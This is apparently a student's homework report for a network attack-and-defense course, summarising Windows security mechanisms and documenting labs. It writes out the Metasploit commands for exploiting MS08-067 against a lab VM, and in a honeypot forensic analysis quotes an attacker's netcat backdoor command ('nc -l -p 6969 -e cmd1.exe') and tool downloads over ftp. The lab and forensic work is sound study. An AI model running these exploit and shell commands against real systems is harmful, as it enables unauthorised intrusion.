20199118 2019-2020-2《网络攻防实践》第七周作业
学号:20199118《网络攻防实践》第七周作业
1.知识点梳理与总结
在第七章的课程中学习了 Windows操作系统安全攻防的重要内容:
① Windows操作系统基本框架概述 |
-
Windows基本结构:分为运行于处理器特权模式的操作系统内核以及运行在处理器非特权模式的用户,即为内核态和用户态。
①内核态:Windows执行体(基本系统服务)、Windows内核(如线程调度等)体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口。
②用户态:系统支持进程、环境子系统服务进程(环境是指系统展示给用户的个性化部分)、服务进程、用户应用软件、核心子系统DLL。 -
Windows进程和线程管理机制:进程拥有一个进程描述符,描述一些地址空间和打开的文件等共享资源,进程中包含指向不同线程的指针,这些线程没有进程描述符,只描述一些少量的独有的资源,线程共享进程的资源。
-
Windows内存管理机制:分为系统核心内存区间(内核执行模块)和用户内存区间(用户程序执行模块)。
-
Windows文件管理机制:NTFS文件管理系统、可执行采用PE格式,主要由Dos头、PE头、分段表、以及具体的代码段和数据段组成。
-
Windows注册表管理机制:Windows注册表在系统的全局配置、用户和应用软件配置信息担任重要的角色。
-
Windows网络管理机制:
①网络应用层:用户态的应用程序调用Windows操作系统提供的网络API。
②TDI客户端,传输驱动程序接口客户,是内核模式的设备驱动程序,用于实现网络API的内核部分。
③协议驱动程序:TDI Transport Providers、TDI传输、NDIS协议驱动程序、所有这些其实就是指的同一个东西,这个部分就是对某个协议的具体实现部分。
④NDIS,网络协议接口标准。
⑤硬件网卡部分
②Windows操作系统安全体系结构与机制/td> |
-
安全体系结构:
①监控器模型:主体到客体的访问都通过监控器作为中间,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录都由监控器生成审计日志。
②核心:SRM安全引用监控器(内核中)、LSASS安全服务(用户态)、winlogon/netlogn、以及Eventlog。 -
身份认证机制:
①安全主体:用户、用户组、计算机。
②身份认证:本地身份认证(winlogon进程、GINA图形化登录窗口与LSASS服务)、网络身份认证(NTLM、Lanman、kerberos)。 -
授权与访问控制机制:引用监控器模型,由SRM(内核态)和LSASS(用户态)共同完成。
①对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。
②属性组成:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。 -
安全审计机制:LSASS服务保存审计策略,SRM在进行对象访问授权时,也将审计记录发送给LSASS服务,再由EventLog服务进行写入记录。
-
其他安全机制:安全中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。
③Windows系统远程安全攻防技术/td> |
-
类别:主要分为远程口令猜解攻击、Windows网络服务攻击、Windows客户端和用户攻击。
-
远程口令猜解攻击:
①服务:SMB协议,其他包括WMI服务、TS远程桌面终端服务,mysql数据库服务、SharePoint。
②工具:Legion、enum、smbgrind、NTScan、XScan、流光。
③窃听与破解:NTLM、Lanman、NTLMV2和kerberos网络认证协议的弱点。
④防范:关闭不必要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过时且有安全缺陷的Lanman和NTLM、指定强口令策略。 -
网络服务远程渗透攻击:
①针对NETBIOS服务的攻击(Windows局域网联网的基本支持)。
②针对SMB服务的攻击。
③针对MSRPC服务的攻击(远程过程调用)。
④针对Windows系统上微软网络的远程渗透攻击。
⑤针对Windows系统上第三方服务的远程渗透攻击。
⑥防范措施:软件设计本身、尽快的更新漏洞、安装增强插件、启用入侵检测工具等。 -
Metasploit渗透测试:
①基础库文件:包括Rex,framework-core和framework-base三部分。
②模块:辅助模块、渗透攻击模块(主动、被动)、攻击载荷模块(在渗透攻击成功后促使目标系统运行)、空指令模块、编码器模块、后渗透模块(获取敏感信息)。 -
指令介绍:
指令 | 含义 |
---|---|
show exploit | 列出metasploit框架中的所有渗透攻击模块 |
set function | 设置特定的配置参数 |
exploit | 执行渗透攻击或模块来攻击目标 |
db_create name | 创建一个数据库驱动攻击所要使用的数据库 |
run scriptname | 运行meterpreter脚本,在scripts/meterpreter目录下可查看 |
LHOST | 目标主机链接的IP地址 |
RHOST | 远程主机或者目标主机 |
④Windows系统本地安全攻防技术/td> |
-
本地提权攻击:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞。
-
敏感信息窃取:
①Windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文)。
②Windows系统口令字破解技术(L0phtCrack、John the Ripper、Cain)。
③防范:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。 -
Windows消踪灭迹:
①方法:关闭审计功能、清理事件日志。
②防范:事先设置系统审计和网络服务审计,日志记录在不可擦除的CDROM上。 -
远程控制和后门程序:向受控主机中植入第三方的远程控制与后门程序。
①工具:命令行远控工具(Netcat,psexec,meterpreter),图形化远控工具(VNC,RemoteAdmin,PCanyware)。
②后门程序:国外(BO、BO2K),国内(冰河、灰鸽子、广外女生、PCshare、磁碟机、机器狗等)。
③防范措施:后门检测软件、杀软、rootkitrerealer、IcSword。
2.实践过程
实践一: Metasploit Windows Attacker
使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
- 实践步骤:
虚拟机 | IP |
---|---|
Kali-Linux | 192.168.237.129 |
Win2000 靶机 | 192.168.31.139 |
-
在kali中输入
msfconsole
启动kali
里面的msfconsole
-
输入
search ms08_067
查看漏洞ms08_067
详细信息;
-
输入
use exploit/windows/smb/ms08_067_netapi
表示使用MS08-067作为我们攻击的目标漏洞
-
输入
show payloads
显示可攻击载荷
-
输入
set payload generic/shell_bind_tcp
设置攻击的载荷为tcp的反向连接
-
输入
show options
展示渗透攻击需要设置的参数
-
输入
show targets
展示可渗透攻击的靶机的操作系统及版本
-
输入
set LHOST 192.168.237.129
设置渗透攻击的主机是kali -
输入
set RHOST 192.168.31.139
设置渗透攻击的靶机IP
-
输入
exploit
开始渗透攻击
-
进入到靶机的系统命令行界面,输入
ipconfig/all
显示靶机的操作系统和IP配置,由此渗透攻击成功
实践二:取证分析实践:解码一次成功的NT系统破解攻击
任务:来自213.116.251.162
的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106
(主机名为:lab.wiretrip.net);回答下面的问题:
1、攻击者使用了什么破解工具进行攻击?
2、攻击者如何使用这个破解工具进入并控制了系统?
3、当攻击者获得系统的访问权后做了什么?
4、我们如何防止这样的攻击?
5、你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
问题一:攻击者使用了什么破解工具进行攻击?
-
首先使用wireshark打开.log文件,根据题目筛选下
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
。
-
接下来我们继续找到编号
117
,发现攻击者打开了系统启动文件boot.ini
,同时%C0%AF
字符,%C0%AF
为/的Unicode
编码,如果了解了上面的Unicode
编码攻击,这里很容易看出来这是这类攻击。
-
使用
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106&& http
过滤时,发现出现多次的msadcs.dll
,我们使用google搜索msadcs.dll
,找到一个不错的漏洞搜索页面,故接下来我们的任务就是判断漏洞是MS02-065
还是MS99-025
,两者均是基于MDAC RDS
漏洞。所以确定这是一次基于MSADCS RDS的漏洞攻击。
问题二:攻击者如何使用这个破解工具进入并控制了系统?
-
我们通过追踪TCP流发现,攻击者首先创建了一个ftpcom脚本,并使用 ftp连接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。
-
解释下上述指令,攻击者首先创建了一个
ftpcom
脚本,并使用 ftp连接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。继续查看会话1791-80之后出现了ftp的连接,目标IP为204.42.253.18
。通过追踪TCP流发现,这个连接由于口令错误导致连接失败。说明这次攻击是一个失败的攻击。
-
攻击者肯定不会这么轻易放弃,但是我们分析可以投机取巧了,因为攻击者每次都需要进行ftp下载所需要的攻击的工具,那么我们直接筛选ftp连接,找到成功的ftp连接就好。直到编号1106,我们发现此时才是连接成功的,前面竟然错了好几次。并且我们发现此时的ftp服务器IP竟然是攻击者自己的IP。
接下来我们就找这个ftp连接之前,攻击者发送了什么指令吧。通过观察,可以发现这次的攻击竟然不是RDS攻击,而是Unicode漏洞攻击。通过追踪TCP流,发现攻击者发送了以下指令。
继续看看攻击者再ftp服务结束之后做了什么吧,不难发现,在下载完文件之后,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe
。表示攻击者连接了6969端口,并且获得了访问权限。至此,攻击者完成了进入系统并且获得访问权的过程。
问题三:攻击者获得系统访问权限后做了什么?
-
首先我们用条件
tcp.port == 6969
筛选一下,然后追踪一下TCP流来发现攻击者的行为
-
尝试攻击者尝试信息收集,
net session
(列出会话),但是没有权限,然后执行net users
, 返回该主机的用户列表。
问题四:我们如何防止这样的攻击?
①及时修补漏洞,对漏洞打上相应的补丁。
②禁用用不着的 RDS 等服务。
③防火墙封禁网络内部服务器发起的连接。
④为 web server 在单独的文件卷上设置虚拟根目录。
⑤使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。
⑥使用 IIS Lockdown 和 URLScan 等工具加强 web server。
问题五:你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
- 很明显,攻击者发现了这是一台蜜罐主机,这是攻击者攻击者留下的信息。
实践三:团队对抗实践:Windows系统远程渗透攻击和分析
任务:
-
攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。
-
防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。
-
具体的攻击内容和实践一是一样,选择
MS08-067
进行攻击,基本指令都是相同的。主要包括use exploit/windows/smb/ms08_067_netapi
、set PAYLOAD generic/shell_reverse_tcp
、set RHOST IP
、set LHOST IP
,在此开启wireshark进行监听,输入exploit进行攻击。
-
我们发现攻击机向靶机发了许多SMB数据包,而MS08-067漏洞是通过
MSRPC over SMB
通道调用Server服务程序中的NetPathCanonicalize函数
时触发的。同时我们可以发现攻击机IP地址为192.168.3.19
,防守方IP地址为192.168.3.33
,防守方端口为445
号。
-
在攻击机输入ipconfig指令,在Wireshark捕获查看。
3.学习中遇到的问题及解决
- 问题①:启动
kali
里面的msfconsole
时出错。 - 问题①的解决方案:上网百度,发现由于默认安装的bundler为最新版本2.1.4。msfconsole依赖的版本为1.17.3,所以需要安装旧版本。执行如下命令:
root@kali:~# gem install bundler:1.17.3
就可以正常启动了。
4.学习感悟、思考等
- 加深了对Windows操作系统安全攻防技术的认识,理论与实践相结合,提高了自己对使用网络安全防范技术的能力。
- 培养了实践学习的能力,对网络攻防的实际运用产生了极大的兴趣。
参考资料
- 《网络攻防技术与实践》诸葛建伟 著
- 《IIS的Unicode漏洞攻击》
- 《Windows系统结构》